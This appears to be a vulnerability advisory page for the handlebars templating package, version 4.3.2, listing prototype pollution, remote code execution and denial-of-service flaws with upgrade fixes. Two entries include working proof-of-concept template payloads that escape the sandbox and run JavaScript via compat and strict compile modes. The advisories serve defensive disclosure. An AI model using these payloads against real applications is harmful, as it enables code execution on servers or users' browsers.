handlebars@4.3.2 vulnerabilities

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 

var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`; 
var template = Handlebars.compile(s2, { 
compat: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

Upgrade handlebars to version 4.7.7 or higher.

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 
var s = ` 
{{#with (__lookupGetter__ "__proto__")}} 
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
{{#with ../constructor.prototype}} 
{{../../constructor.defineProperty . "hasOwnProperty" ..}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{#with "constructor"}} 
{{#with split}} 
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
{{#with .}} 
{{#with (concat (lookup join (slice 0 1)))}} 
{{#each (slice 2 3)}} 
{{#with (apply 0 ../..)}} 
{{.}} 
{{/with}} 
{{/each}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{/with}} 
`;
var template = Handlebars.compile(s, { 
strict: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

Upgrade handlebars to version 4.7.7 or higher.

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.

Upgrade handlebars to version 4.6.0 or higher.

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

Upgrade handlebars to version 3.0.8, 4.5.3 or higher.

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.

Upgrade handlebars to version 3.0.8, 4.5.3 or higher.

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.

Upgrade handlebars to version 4.4.5 or higher.